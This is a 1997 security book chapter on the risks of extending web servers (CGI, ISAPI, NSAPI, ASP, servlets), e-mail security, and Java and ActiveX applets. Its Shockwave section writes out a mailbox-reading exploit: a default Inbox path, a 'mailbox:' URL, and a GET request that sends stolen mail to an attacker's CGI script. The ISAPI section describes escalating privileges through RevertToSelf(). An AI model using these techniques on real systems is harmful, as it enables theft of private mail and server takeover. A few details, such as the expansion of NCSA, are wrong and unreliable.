© 1997 The McGraw-Hill Companies, Inc. All rights reserved. Any use of this Beta Book is subject to the rules stated in the Terms of Use.

Chapter 5

Firewalling Challenges: The Advanced Web

For the most part, Internet managers are used to the idea that a proxy server, a specialized HTTP server typically running on a firewall machine, would be enough to provide secure access from Internet connections coming through the firewall into the protected network.

Sure enough, running a proxy server is one of the most recommended approach to protect your Web site. But there is more to it than only setting up a proxy, which many times can breach security requirements. Thus, SOCKS comes in the picture. As a package that enables Internet clients to access protected network without breaching security requirements, SOCKS can also be an add-on feature to your firewall challenge. But not so fast! According to Ying-Da Lee (ylee@syl.dl.nec.com), from NEC, you may bump into few problems using the modified version of Mosaic for X 2.0, which is not supported by its developer, the National Computer Security Association (NCSA).

Therefore, to implement security in a Web environment is not really the same as to building an Internet firewall. To better understand the challenges in setting up a firewall in a Web-centric environment you must understand the threats and risks you are up against, as well as the implications of integrating different technologies, which includes but are not limited to protocols, devices and services.

This chapter discusses the main security flaws and risks associated to Web-based connectivity, as well as of the main technologies interacting with the Web, such as media types, programming languages and other security concerns, so that you can better choose and implement the right firewall solution.

Extending the Web Server: Increased Risks

As information technologies becomes a commodity to the whole Cyberspace, than everyone wants to have access to it, to use it and... to abuse it. It becomes an instrument of value, like any other commodity. Thus, it must be protected before it is stolen.

Unfortunately, there is a mob of talented hackers and crackers out there, a mix of cyberpunks and whackers, lurking around, waiting for an opportunity to break-in to a secure system, regardless if it is a Web site or a corporate internal network. They will try to exploit anything, from high level Application Programming Interface (API) to low level services, from malicious applets, to sophisticated client-pull and server-push schemes.

What are they after? You should expect them to be after anything! Many of them will try the same old tricks UNIX crackers did years ago just for the fun of it. What about publicly posting your client list on the Internet? What if suddenly, instead of your company’s logo you find one of those looney tunes character on your home page? Worse! What if you are been hacked right now and not even noticed? One thing you can be sure: soon or later they will knock your door, it is just a matter of statistics!

The bottom line is there always will be Web security issues you should be concerned with. Many of this security issues are documented at http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html, at least for UNIX boxes. Therefore, lets take a look at some of the ways your Web server can be attacked and what you can do to prevent it.

ISAPI

When time for integration between systems comes you will need to decide on the approach you will use to create interaction between your applications and the your Webserver. If you don’t have an Intranet already in place, don’t worry, you will! But before even considering it, you will first need to consider how your users will interact with the system you have in place and decide their level of interaction with your Web-centric applications.

The choice you make largely depends on what user interactivity you would like to build into the system. Some aspects of this interactivity are new, and some have been a part of LAN connectivity for some time. Ideally, when your application is linked with a Web server, your users will be able to use your application in ways unique to being on a Web, whether it is an "Intranet" or the Internet itself.

Be careful when choosing your Web server though. My recommendation goes for the Purveyor WebServer (http://www.process.com), which has much to offer your existing application and user base. For instance, Purveyor allows you to use existing user authentication and authorization systems or take advantage of user authentication and authorization using Purveyor. LAN-based applications can also use Purveyor’s encryption services if desired. Also, since Purveyor can be configured as a proxy server, it may also be used to allow secure Internet access for users on the LAN. You may also want to consider the added user interactivity unique to Web technology.

The reason am highlighting this is that, by considering these design elements beforehand will save you programming time. Regardless of your Web server, depending on what you wish to do, you may not have much options when choosing how to access server functions, which will be by either of two major interfaces: the Common Gateway Interface (CGI) or the Internet Server Application Programming Interface (ISAPI). CGI provides a versatile interface that is portable between systems. ISAPI is much faster but requires that you write a Windows DLL, which is not a trivial programming exercise.

In all considered, the Internet Server Application Programming Interface, (ISAPI) is a high performance interface to back end applications running on your web server. Based on its own DLL ensuring significant performance over CGI, ISAPI is easy to use, well documented, and does not require complex programming. These approaches are often combined. Some parts of your interface program may call DLLs and others may use the CGI approach. So lets take a look at the CGI approach first then the ISAPI one, so you can have a clear idea of what’s involved as far as security.

CGI

The Common Gateway Interface is a standard method for writing programs to work with World Wide Web servers. Programs that use the Common Gateway interface, referred to as CGI scripts, usually take input from HTML forms to execute particular tasks. Developers may find it appropriate to use CGI in cases where ease of development and portability to other operating systems are important. CGI scripts are simple to write, and since the user interface is HTML, the CGI script can be initiated by any client that can run a browser.

As you know, users interact with Web Servers by filling in and submitting HTML forms or clicking on links in HTML documents. Through these HTML forms or links, the Web can be used to obtain important information and perform specific tasks. Routine tasks can be moved on-line, facilitating collaboration on projects between individuals and groups. HTML forms can also allow users to specify what information they want to obtain and what tasks they want to perform.

A CGI script can be an individual executable program or a chain of programs that can be started by the Purveyor Server in response to a client request. A typical CGI script may, for instance, take a keyword that a user has submitted in an HTML form and search for that keyword in a specific document or group of documents. When a user enters this keyword and submits it, the server passes this data to the CGI script. This program performs operations with the data, sending it back or passing it along to other applications as specified. When the data finally returns to the server, it is re-formatted into HTML and shipped back to the requesting client. Figure 5.1 illustrates this process.

However, CGIs have their limitations. In designing CGI scripts, bear in mind that each time the Web server executes a script it creates a new process and a new drain on available resources. This is one of the less attractive characteristics of the CGI method. It requires the server to spawn a new process every time a client invokes a CGI script. Each CGI call therefore consumes CPU time and server resources so that many simultaneous requests slow the entire system significantly. This problem can become particularly serious on a busy server with many concurrent requests. Consequently, the more calls there are to an application, the less suited it may be to CGI scripting because of the load this places on the server.

Bear in mind also that applications that use the power of corporate and business-to-business intranets often experience many more "hits" per hour than even the most popular internet Web sites.

Furthermore, CGI programs work within the constraints of the HTTP server. They communicate with the user through a stateless protocol, so they "forget" every previous transaction. There is no way of creating intensely interactive applications unless you arrange each step to re-transmit any information that has to be "remembered" from previous steps. Although it is possible to write a program or a group of programs that build on previous information, you must write them with this stateless environment in mind.

Internet Server API (ISAPI)

For cases where peak efficiency is more important than portability to other systems, the best method for extending Web server functionality is by using the Internet Server Application Programming Interface (ISAPI). Applications using ISAPI are compiled into Dynamic Link Library files (DLLs) that the Web server loads at startup. ISAPI programs have several key advantages over CGI scripts:

They are more efficient than CGI scripts because each client request does not spawn a new process.

Because ISAPI applications are more efficient than CGI scripts and are loaded into memory when the server starts, their performance is substantially superior to CGI programs.

These executables are the "native" method for extended functionality in the Windows environment. For example, the Microsoft Win32 Application Programming Interface is a set of Dynamic Link Libraries.

ISAPI was jointly developed by Process Software and Microsoft Corporation. It has been offered as a standard for all operating systems that support sharable images. It is an open specification. We have used it for Windows NT, Windows 95, NetWare and OpenVMS systems. Microsoft uses it on its Internet Information Server (IIS).

ISAPI applications run by making calls to resource files called Dynamic Link Libraries. Dynamic Link Libraries (or DLLs), are executable modules containing functions that applications can call to perform useful tasks. ISAPI DLLs exist primarily to provide services for Web application modules. These DLLs are referred to as extension DLLs.

Extension DLLs have a number of technical advantages:

• Several applications can share a single copy of any library function within a DLL.
• Extension DLLs load into the server’s process space—eliminating the time and resource demands of creating additional processes.
• All resources available to the server are also available to its DLLs.
• DLLs execute with minimal overhead—considerably faster than EXE files.

In addition, server can manage DLLs, pre-loading commonly-used ones and unloading those that remain unused for some (configurable) period of time. The primary disadvantage in using an Extension DLL is that a DLL crash can cause a server crash.

These advantages make ISAPI an ideal interface for supporting server applications subject to heavy traffic in corporate intranets. As a matter of fact, the greater the degree of interactivity required of an Web server application, the more the application may be suited to an ISAPI interface. For example, engineers at Process Software use the ISAPI method to support the Purveyor Web Server’s remote server management (RSM) application for just this reason. A sample screen from the RSM application is shown on figure 5.2.

The particular method used for ISAPI is called run-time dynamic linking. In this method, an existing program uses the LoadLibrary and GetProcAddress functions to get the starting address of DLL functions, calls them through a common entry point called HttpExtensionProc(), and communicates with them through a data structure called an Extension Control Block.

The other method is called load-time dynamic linking, which requires building the executable module of the main application (the server) while linking with the DLL’s import library. This method is not suitable for our purposes since it presents barriers to efficient server management of DLL applications.

How does the server handles the DLLs? The filename extension "DLL" in client requests is reserved for Dynamic Link Library files to be used through this Application Programming Interface. All extension DLLs must be named in the form *.DLL and no other type of Purveyor Server executables requested by a client may have names of this form.

When the server gets a request to execute a DLL file, it takes the following steps:

• Checks to see if the requested DLL is already in memory and load it if not already present. If the DLL does not contain the entry point GetExtensionVersion, the server will not load it.
• Executes a call to the entry point GetExtensionVersion to verify that this DLL was written to conform to the API standard. If the returned value is not valid the server unloads the DLL without executing it.
• Executes a call to HttpExtensionProc to begin execution of the DLL.
• Responds as needed to the running DLL through the callback functions and the Extension Control Block.
• Terminates the operation upon receipt of a return value. If there is a non-null log string, the server writes the DLL’s log entry to its log.

All Extension DLLs must export two entry points:

• GetExtensionVersion() - the version of the API specification to which the DLL conforms.

• HttpExtensionProc() - the entry point for execution of the DLL. This entry point is similar to a main() function in a script executable. It is the actual startup of the function and has a form (coded in C) as described on Table 5.2.

Table 5.1 - Using GetExtensionVersion() as an entry point.

Table 5.2 - Using HttpExtensionProc() as an entry point.

Upon termination, ISAPI programs must return one of the following codes:

HSE_STATUS_SUCCESS

The Extension DLL has finished processing and the server can disconnect and free up allocated resources.

HSE_STATUS_SUCCESS_AND_KEEP_CONN

The Extension DLL has finished processing and the server should wait for the next HTTP request if the client supports persistent connections. The Extension should only return this if they were able to send the correct Content-Length header to the client.

HSE_STATUS_PENDING

The Extension DLL has queued the request for processing and will notify the server when it has finished (see HSE_REQ_DONE_WITH_SESSION under the Callback Function ServerSupportFunction ).

HSE_STATUS_ERROR

The Extension DLL has encountered an error while processing the request and the server can disconnect and free up allocated resources.

There are four Callback Functions used by DLLs under this specification:

• GetServerVariable - obtains information about a connection or about the server itself. The function copies information (including CGI variables) relating to an HTTP connection or the server into a buffer supplied by the caller. If the requested information pertains to a connection, the first parameter is a connection handle. If the requested information pertains to the server, the first parameter may be any value except NULL.
• ReadClient - reads data from the body of the client's HTTP request. It reads information from the body of the Web client's HTTP request into the buffer supplied by the caller. Thus, the call might be used to read data from an HTML form which uses the POST method. If more than *lpdwSize bytes are immediately available to be read, ReadClient will return after transferring that amount of data into the buffer. Otherwise, it will block waiting for data to become available. If the client’s socket is closed, it will return TRUE but with zero bytes read.
• WriteClient - write data to the client. This function sends information to the Web client from the buffer supplied by the caller.
• ServerSupportFunction - provides the Extension DLLs with some general purpose functions as well as functions that are specific to HTTP server implementation. This function sends a service request to the server.

The server calls your application DLL at HttpExtensionProc() and passes it a pointer to the ECB structure. Your application DLL then decides what exactly needs to be done by reading all the client input (by calling the function GetServerVariable() ). This is similar to setting up environment variables in a Direct CGI application.

Since the DLL is loaded into the same process address space as that of HTTP server, an access violation by the Extension DLL crashes the server application. Ensure the integrity of your DLL by testing it thoroughly. DLL errors can also corrupt the server’s memory space or may result in memory or resource leaks. To take care of this problem, a server should wrap the Extension DLL entry point in a "try/except clause" so that access violations or other exceptions will not directly effect the server. For more information on the "try/except" clause, refer to the help section on C/C++ Language under Visual C++ v2.0 help.

Although it may initially require more development resources to write the DLLs needed to run ISAPI applications, the advantages of using ISAPI are evident. ISAPI makes better use of system resources by keeping shared functions in a single library, and spawning only a single process for applications invoked by more than one client. The fact that the server pre-loads these libraries at startup ensures quicker program performance and faster server response time. Finally, the quickness and efficiency of ISAPI make it well suited for applications that require user interaction and that may be subject to heavy traffic, such as those that take full advantage of the intranet.

A Security Hole on IIS exploits ISAPI

However, if Web developers take advantage of ISAPI wonderful features, so do hackers, by reverting the "IUSR_MACHINENAME" account" of Microsoft’s Internet Information Server (IIS).

The exploit here is that ISAPI scripts run under the IUSR_MACHINENAME account under IIS, so ISAPI inherits the security permissions of this account. Thus, if the ISAPI program were to contain a simple call labeled "RevertToSelf()," for example, there you have a major hole!

As soon as that line of the program is executed, the ISAPI program reverts it’s authority to the system account, which hold all access privileges on the server. At this point, a hacker is capable to execute anything on the server, including "system()" calls.

What can you do About it?

Not much can be done to prevent this exploit. Don’t be naive, don’t run any ISAPI scripts that you don’t understand or don’t trust the source code, especially it comes from a shareware or freeware site! A good measure is to compile the source code yourself. I would not recommend you to run a script without compiling it or trusting the developer/source code.

Also, make sure to test the ISAPI applications as much as you can on a standalone machine before you make it available on the Net.

NSAPI

Netscape Server Application Programming Interface (NSAPI) is Netscape’s version of ISAPI, which also works on UNIX systems that support shared objects, and can be used as a framework for implementing custom facilities and mechanisms. However, NSAPI groups a series of functions to be used specifically with Netscape Server, allowing it to extend the core functionality of the Netscape Server. According to Netscape (http://developer.netscape.com/misc/developer/conference/proceedings/s5/sld002.html ) NSAPI provides flexibility, control, efficiency, and multi-platform solutions which includes but is not limited to:

• Faster CGI-type functions
• Database connectivity
• Customized logging
• Version control
• Personalized web site for each clients
• Alternative access control
• Custom user authentication
• Revised version of an existing server functionality
• Plug-in applications

The Yale University suggests NSAPI to be very efficient (http://pclt.cis.yale.edu/pclt/webapp/apis.htm). This is easy to grasp as NSAPI works very tight with the Netscape Server. The functions that Netscape provides through the NSAPI interface can locate information and set other parameters that determine the code and header information returned as responses to a query, as this example found at Yale’s site:

     method=pblock_findval("method", rq->reqpb);
     clientip = pblock_findval("ip",sn->client);
     request_header("user-agent",&browser, sn, rq);
     request_header("cookie",&cookies, sn, rq);

The sequence above locates the method ("GET" or "POST"), the IP address of the client browser, the type of browser from the request header, and the so-called "cookie" data presented by the Browser with the request. Further, after the request has been examined, if the C function is now committed to send back a data response it might generate a sequence of the form:

param_free(pblock_remove("content-type", rq->srvhdrs));
pblock_nvinsert("content-type", "text/html", rq->srvhdrs);
pblock_nvinsert("set-cookie", "chocolate=chip;", rq->srvhdrs);
protocol_status(sn, rq, PROTOCOL_OK, NULL);
protocol_start_response(sn, rq);

Needless to say, NSAPI is very powerful. Hackers could for example write an NSAPI module to query servers about security information. NSAPI can be used to query an AFS Kerberos server to proxy AFS Kerberos authentication over SSL. In a situation where a user would submit his/her username/password over an SSL authenticated/encrypted HTTP session, for example, a Netscape HTTP server could query the AFS Kerberos server to determine if the username/key pair is valid.

Not that this is an easy task. The NSAPI modules need to be shared objects, which doesn’t work well with non-shared libraries. That’s why many times, it’s easier to just write a simple call, using system(), as my example above, then trying to make it work. NSAPI is also very secure.

Servlets

Servlets are protocol and platform-independent server side components, written in Java, which dynamically extend Java-enabled servers. They provide a general framework for services built using the request-response paradigm. Their initial use is to provide secure web-based access to data which is presented using HTML web pages, interactively viewing or modifying that data using dynamic web page generation techniques. There are already several vendors developing Java applications to automatically generate these Java servlets from HTML pages, webMethods, as seen on figure 5.3 is one of them.

Servlets run inside servers and therefore, don’t need a graphical user interface. They are in essence Java application components which are downloaded, on demand, to the part of the system which needs them. Figure 5.4 shows how client and server interact using servlets.

Servlets Applicability

Servlet applications include but are not limited to:

• Processing of data POSTed over an HTTPS server using an HTML FORM, such as purchase orders, credit card information and so forth.
• Support of collaborative applications for conferencing, as servlets handle multiple requests concurrently and synchronized
• One servlet could forward requests other servers. This technique can balance load among several servers which mirror the same content.

The servlet API is already supported by most Java based web servers, and implementations are available for other popular web servers. This means that you get the Java Advantage when you use the servlet API: not only will your code not have memory leaks and suffer from hard-to-find pointer bugs, but your code runs on platforms from many server vendors.

Denali

Denali used to be the codename for Microsoft’s server-side ActiveX Server Scripting, an open architecture that enables developers not only the use of ActiveX but also JavaScript or any compliant scripting language.

The Active Server Pages are very powerful in developing dynamic Web sites. They are HTML pages that contain scripts processed on the server before being sent to the Web browser.

Yes, Microsoft’s VBScript has limitations, which starts with lack of support for calling functions in external DLLs, as well as no support for instantiating OLE objects using GetObject or CreateObject. VBScript also lacks built-in data access, it doesn’t have file I/O, nor built-in mail or messaging, and so on. But again, these very limitations make VBScript a fairly safe and portable code. When considering client-side you appreciate the safety factor. But can you say the same on the Web server side? There, Trojan horse code is less of a worry, but access to discrete code elements and server resources can be much more tightly controlled. The solution Microsoft chose to implement with VBScript lets the host determine what resources VBScript will have access to. On the server, an ISAPI add-in hosts VBScript and exposes a limited number of objects to it.

With Active Server Pages you, as developer, can include server-side executable script directly in HTML content. Thus, the applications developed with VBScript are much simpler, as there is no compiling or linking of programs and they are also more powerful, due to the presence of object-oriented and extension with ActiveX Server components. Besides, keep in mind that such applications are content-centered too, as they completely integrate with the underlying HTML files. Figure 5.5 gives shows a diagram of the framework.

Nevertheless, some Web developer professionals advocate that the majority of Web-centric applications developed for corporations should be developed using Server-Side Includes (SSI) , Common Gateway Interface (CGI), and/or Server-Side Scripting (SSS) technology. Many believe that the API technology is a media hype, based on a pseudo-standard, which doesn’t pay off the marginal speed it has over CGI-based applications. This point of view is not so difficult to understand if you find yourself basing your Web implementation decisions, especially security decisions, on advanced support of API programming only, rather then taking in consideration its SSI, SSS, and CGI capabilities.

According to Robert B. Denny (http://www.dc3.com/white/extending.html#OR), API extensions and in-process SSS engines are one of the most risky as far as operational risks. Indeed, SSI and CGI extensions have low operational risk as SSI extensions, as well as CGIs, either will work or not. Also, be careful with SSS scripting engines, as being fairly new and not having full support of operating system, they also can provoke an engine failure. Further, if the SSS engine operates as an API extension, an engine failure can take down the entire server.

Yes, it’s true that some APIs have safety mechanisms to protect the server against certain types of API extension failure, but if the API extension mistakenly writes into the server’s private data, which it is not so unlikely to happen, certainly your server will go down. More will be discussed about APIs security holes on chapter 6, "The APIs Security Holes and Its Firewall Interactions."

Web Database gateways

There are several database gateways available, some more secure than others. They main purpose is to aid on the creation of interactive and dynamic web applications without the need for the CGI scripts discussed earlier.

These databases are usually capable of creating HTML forms to be inserted in database tables, as well as to update records, submit database queries, create menus and so forth.

Cold Fusion

Cold Fusion (http://www.allaire.com/go/go.dbm?section=products&webresourceurl=/Products/ColdFusion/30/index.cfm) is a great example of product that integrates browser, server and database technologies into powerful Web applications and interactive sites.

Cold Fusion is significantly faster and more powerful than first generation CGI or Perl application development. And unlike other Web application development tools on the market, Cold Fusion uses a page-based application architecture and powerful server-side markup language so it seamlessly integrates with HTML and existing Web technology.

Microsoft Advanced Data Connector (ADC)

Microsoft Advanced Data Connector (ADC) is a data access technology that allows developers to create distributed, data-centric applications. It provides the underlying infrastructure to link databases on web servers with data-aware controls within ActiveX technologies for the vendor's Internet Explorer browser.

Microsoft ADC provides seamless interaction with databases on corporate intranets and over the Internet. It is a component of the Microsoft Active Server platform. Features include: client-side caching of data results, update capability on cached data, use of remote objects over the Internet, and integration with data-aware ActiveX Controls.

But don’t confuse ADC with Denali! When using Microsoft Internet Information Server (IIS) 3.0, you can combine Active Server Pages (ASPs) with ActiveX Data Objects (ADO) to construct scripted HTML pages, and use ADO within the scripting to access gateway databases and to display results on the HTML page. But this is technique only presents the client with static information, which would only be suitable for non-intelligent clients, and data are not updated. Thus, a client may receive document but is not able to interact with, or change it.

ADC picks up where ASP left, by complementing the document exchange process by using object invocations to get data onto the client computer. The data then can be programmatically manipulated and updated. Also, ADC allows data to be bound to ActiveX controls. As will be discussed on the next section, "Code in Web Pages," the presence of ActiveX controls can compromise the security of the database and integrity of the clients connections.

Security of E-mail Applications

Back in February 21, 1996, during a workshop with the Internet Mail Consortium (http://www.imc.org/imc-pressrel-1) Internet mail security technology developers agreed to make it easier for email users to send and receive signed and private mail.

We all know that security services, such as content privacy and authentication of sender, are regarded as requirements for business use of the Internet. But how much security is invested, or exist, when deploying electronic mail services?

Yes, there are several RFCs for the email security "standard," each claiming to be complete and supporting the standard multimedia extensions for Internet mail (MIME). As you probably already know, MIME and many related technologies was developed by the Internet Engineering Task Force (IETF), the body that sets technical standards for the Internet.

According to a press release of the Internet Mail Consortium (see URL listed above), there were four technologies that dominated the discussion at the workshop:

• MOSS - The official Internet standard is MIME Object Security Services (MOSS), but it didn’t have much support from the email industry.
• PGP - Pretty Good Privacy (PGP) is the e-mail security technology with the most installed base of users.
• S/MIME - The Secure MIME specification was developed by RSA Data Security.
• MSP - Message Security Protocol is a security technology created for the US Defense Messaging Service and is now being adapted for use over Internet email.

More than 60 attendees, from all sectors of the email and Internet user and provider communities, labored during that workshop. As a first step towards simplifying the differences among the contenders, the group developed strong consensus for two major requirements:

• Native Internet mail environments should be provided support for authentication of sender through use of the MIME "Multipart/Signed" mechanism.
• Representatives of the different securities technologies should cooperate and seek to meet four major milestones:
• By April 1, 1996, they were supposed to develop a list of the technical differences of the technologies.
• By June 1, 1996, they were supposed to jointly or separately develop a list of explanations of the requirements that justify each of those differences.
• At last years’ IETF standards meeting in Montreal, back on June 24, 1996, they were supposed to hold extended meetings and seek to eliminate as many of their differences as possible.
• Lastly, they were supposed to follow efforts to submit any additional specifications for IETF standardization as soon as possible.

The Internet Mail Consortium (IMC) agreed to help the security technology representatives meet these goals through discussion coordination and other support services. Figure 5.6 shows a screenshot of IMCs Internet Mail Standard.

While IMC and major developers work, e-mail users strive to survive the lack of security of e-mail, relaying, as mentioned above, mainly on PGP. However, just recently, during the summer of 1997, Rebel Technologies Inc. Announced Certified Email technology for the Internet.

Rebels provide universal certified email system that anyone can access via the Internet. The product will be operational in October of 1997 and will be marketed under the name "certifiedemail.com." No one in the industry is yet offering certification of email delivery to all Internet users through a third-party clearing house. Much what VeriSign does for secure HTTP connection is Rebel doing for secure e-mail service.

The system will provide the sender with proof of delivery, which probably will cut into market share of certified mail, overnight deliveries, courier packages, facsimiles, and voice mails by offering a similar service with greater speed and efficiency at a lower cost. This technology allows you to send email to any address and obtain a receipt after the recipient has received and read the message. Better yet, you won’t need a plug-in, or special software, to use the service. You only need to have an email address and access to a Web browser.

Macromedia’s Shockwave

Shockwave is a family of multimedia players developed by Macromedia (http://www.micromedia.com). If you are on the Web and use Windows (95 or NT) or Mac platforms you can download the Shockwave players from the Macromedia site and use it to display and hear Shockwave files. By early 1997, according to Macromedia, 17 million copies of Shockwave had been downloaded. To create Shockwave files, you use Macromedia Director and several related programs.

Unfortunately, Shockwave has also security holes, which you should be aware of. After all, there are 17 million users out there at risk of being exploited through this security problem.

Shockwave’s Security Hole

There is a security hole in Shockwave that allows malicious webpage developers to create a Shockwave movie that will read through a user's emails, and even potentially upload these messages to a server. All of this without you even knowing about it.

Further, you should be aware that this security hole is also capable of affecting Intranet Web servers behind corporate firewalls, no matter the browser you are using (Netscape or Internet Explorer). Thus, make sure you’re not using Netscape 3.0, nor 2.0, or Internet Explorer on Windows 95, NT, or Macintosh with Shockwave installed.

Upgrading to Netscape Communicator, won’t resolve the problem is the only difference there is that it changes the directory structure.

The Security Hole Explained

The security weakness here is in the fact that a hacker could use Shockwave to access your Netscape email folders. What the hacker needs to know is the name and path to your mailbox on the hard drive. Although you may argue that this is not an easy task, names such as Inbox, Outbox, Sent and Trash are all default names for mail folders!

Therefore, the default path to the "Inbox" folder on a Windows 95 or Windows NT, for example, would be

C:/Program Files/Netscape/Navigator/Mail/Inbox

What the hacker needs to do is simply use the Shockwave command "GETNETTEXT" to call Netscape Navigator to query the email folder for an email message. The results of this call can then be fed into a variable, and later processed and sent to a server. To access a message, a hacker would only need to call the messages he wants from the folder. For instance, if a hacker, on Windows NT or 95, wants to have access to the third message on the folder he would need to call it by using the following command (remember that computers start counting from "0"):

mailbox:C:/Program Files/Netscape/Navigator/Mail/Inbox?number=2

For MacOS, according to Jeremy Traub (at http://www.whatis.com):

mailbox:/Macintosh%20HD/System%20Folder/Preferences/Netscape
%20%C4/Mail/Inbox?number=2

Worse, the hacker wouldn’t probably read only one message of your inbox. If he knows what he’s looking for, he could use shockwave to read the whole inbox, outbox, sent, and trash email folder. Moreover, he could even upload all your messages using the GET method embedded in a little CGI script like this:

http://www...com/upload.cgi?data=Ther_goes_your_e-mail_here

All of these can happen without you even noticing anything. The "GETNETTEXT" command gets even more dangerous when used to access other http servers behind the firewall, on an Intranet setting. That is if the movie is run from behind the firewall.

But be warned that you don’t need Shockwave to exploit someone’s Netscape mail. Java is also capable of doing so. Further, Shockwave alone doesn’t have the resources for getting your files from your hard drive. It is actually the mailbox command of Netscape that enables a hacker to use Shockwave on this e-mail exploitation.

Countermeasures to the Shockwave Exploit

There are a number of things that you could do to protect yourself from malicious Shockwave movies:

• Netscape, Microsoft, and Macromedia are not talking! No fix is out yet as of Spring of 1997! So don’t wait, move on!
• Change the path to your mail folders
• Don't use Netscape to read or send email
• If you don’t need Shockwave, uninstall it!
• Be skeptical about the sites you access.

Code in Web pages

Source codes are usually responsible for security holes originated at the operating system level. They always existed and unfortunately will continue to exist until someone start investing more into testing tools. Nowadays, it seems that developers are releasing their software products too soon, turning their customers onto beta testers. Since Microsoft introduced the concept back there when releasing Windows 95 betas, the whole software industry follow suite.

But when talking about codes in the Web environment, then things get more complicated, as the very nature of the Web, as a stateless system, increases the level of risks and security threat.

One of the most recent technology being used to exploit the Web is called applets. These micro applications, although small, usually bring enough code to allow unauthorized users to gain access or increase their level of access to a resource without authorization. Java and ActiveX applets are the most common ones.

Java applets

Java was introduced by Sun Microsystems in 1995 and instantly created a new sense of the interactive possibilities of the Web. Since then, almost all major operating system developers (IBM, Microsoft, and others) have added Java compilers as part of their operating system products.

As defined by the "Whatis" dictionary (http:\\www.whatis.com), Java is a programming language expressly designed for use in the distributed environment of the Internet. It was designed to have the "look and feel" of the C++ language, but it is simpler to use than C++ and enforces a completely object-oriented view of programming. Java can be used to create complete applications that may run on a single computer or be distributed among servers and clients in a network. It can also be used to build small application modules or applets for use as part of a Web page. Applets make it possible for a Web page user to interact with the page.

The major characteristics of Java are:

• The programs you create are portable in a network. Your program is compiled into Java bytecode that can be run on any server or client in a network that has a Java Virtual Machine. The Java Virtual Machine interprets the bytecode into code that will run on the real computer hardware. This means that individual computer platform differences such as instruction lengths can be recognized and accommodated locally without requiring different versions of your program.
• The code is "robust," meaning that, unlike programs written in C++ and perhaps some other languages, the Java objects have no outside references that may cause them to "crash."
• Java was designed to be secure, meaning that its code contains no pointers outside itself that could lead to damage to the operating system. The Java interpreter at each operating system makes a number of checks on each object to ensure integrity.
• Java is object-oriented, which means that, among other characteristics, similar objects can take advantage of being part of the same class and inherit common code. Objects are thought of as "nouns" that a user might relate to rather than the traditional procedural "verbs." A method can be thought of as one of the object's capabilities.
• In addition to being executed at the client rather than the server, a Java applet has other characteristics designed to make it run fast.
• Relative to C++, Java is easier to learn.

Now, don’t confuse JavaScript with Java. JavaScript is interpreted at a higher level, is easier to learn than Java, but lacks some of the portability of Java and the speed of bytecode. Because Java applets will run on almost any operating system without requiring recompilation and because Java has no operating system-unique extensions or variations, Java is generally regarded as the most strategic language in which to develop applications for the Web.

Java, Java, Java... Some people think that Java is pure sensationalism. Others think Java is a joke. But one way or another, all of them are questioning the security of Sun’s "digital coffee."

As for myself, I think that either you trust the virtual machine (VM) or not. Despite what is being said, I believe that Java is weak as far as security, and this is not new. However, lately I’ve been exploring what the guys at Sun, Netscape and Process Software (the IPv6 guys) have to say about Java’s architecture. The conclusion I’ve reached is that since its birth Java always relied on its wrapper (e.g. a browser) to offer security. Thus, to question its security doesn’t make sense.

The problem is not with Java, but with the malicious applets developed with Java. The problem with the applets is that, giving their ability to access the virtual machines (VMs), they can attack a server that you probably thought was secured, just because it was behind a firewall. Well, the goal here is to maintain these applets outside the firewall, right! Unfortunately, this is not an easy task. Another issue to consider is that a VM will always depend on the operating system offering it. Thus, you might decide to concentrate on the vulnerabilities of your operating system then on your VM.

Note that I’m not saying here that a VM will depend on its operating system to be secure! Its security doesn’t depend on the system, but how the VM was implemented. You can increment the security level of a VM, but still, you cannot guarantee it.

Anyway, I think it’s premature to question Java’s security or it’s applicability. On the contrary, we should be trying to establish a more realistic expectation. There are some professionals already giving up on Java under the illusion that ActiveX is more secure... "Sweet illusion, sweet dreams..."

Who am I to say that, anyway? It could even be that ActiveX is more secure than Java, but still, it is too soon to come up with any hypothesis. The ActiveX is very new, and even if the technology moves in Web-time, ActiveX’s platform is not as stable as Java’s.

As a matter of fact, if we take in consideration that there is not a single form of authentication for ActiveX yet (yeah, how much can Authenticode do?), and if we subtract from it the bugs with the VMs, what do we really have left? Probably just a question: Can we trust the applet?

In my opinion, no! I say that by definition. Just consider the various malicious applets floating out there. Your Netscape browser can tell you better if you were to consider all the hits it takes via Java and HTML. If we were to take into consideration this "perfect world" that we insist on imagining, I believe Sun is the one about to deliver it to us: digital signatures. You develop it, you sign it! This way, it will be up to the user to trust you and use the applet you developed.

Evidently, it will be a challenge to educate the user to "authenticate" an applet before using it. It is already tough to have a user selecting a password and not writing it on a piece of paper stored in a draw! Imagine having to explain the security layers before deciding to use an applet.

Okay, lets really dig in to it, now is time for what I call "the moment of truth:" We know that the people at Sun and Netscape are very conscious about security issues. However, we also know that they probably deal with the same problems we deal when managing our networks (passwords, level of access to directories, servers, etc.). Even if they are conscious about security issues, can we totally trust their system? If you look at the industry’s reaction, the frenzy of filter routers, firewalls (and books about firewalls!) and proxy servers, my guess is... we can’t! I doubt that Java or ActiveX can offer the level of security we, as corporations need in a near future. Take ActiveX or Java, the results at the end are the same. Only the objectives and functions of each one are different.

At the end, it is us, the administrators of the systems, dealing with the users, that will be blamed for it! My point is that security (or lack of it) is always an administrative problem. Both the security and its policies exist. But not so often a system administrator has the guts (and the courage!) to really enforce a security policy. Many start implementing it but very few finish or sustain it.

The security problem of Java is actually to think it is secure. If you consider ActiveX secure, you are dreaming. Microsoft never claimed the security of ActiveX. The fact of using digital signatures only guarantee those applets been developed, so that they can be sold over the Internet. That’s all. If Microsoft had any interest in incrementing security, the implementation of the WinVerifyTrust API would check a signature every time it is accessed.

However, the way it was implemented, the checking is done only the first time and then stored in a file. There after, all subsequent accesses are authenticated based on that stored file. The system checks the file first to certify that this access was not authorized previously. If so, the object is utilized. The problem is that if an object is invalid (in case of an author been a hacker, for instance), all those that accessed this object before will continue to access this malicious object without any idea of the risks involved.

Evidently, it won’t stop ActiveX from been sold, but will be a problem for those planning to use the objects of ActiveX the same way they use the Java applets. I think Microsoft wants to leave this security problem at the discretion of the user. I believe their strategy for ActiveX is aimed toward the Intranets, more Web-centric, where the security of the objects are not so important. Not that I’m promoting the idea, this is only a assumption of what might be in Microsoft’s mind.

As a matter of fact, Microsoft agreed in 96 to transfer the copyrights of the specifications of ActiveX to an independent organization, so that the new specifications would not be conditioned to a single provider. Microsoft will continue to contribute in the process, with references and implementations to the source code in multiple platforms, with should include UNIX and Macintosh.

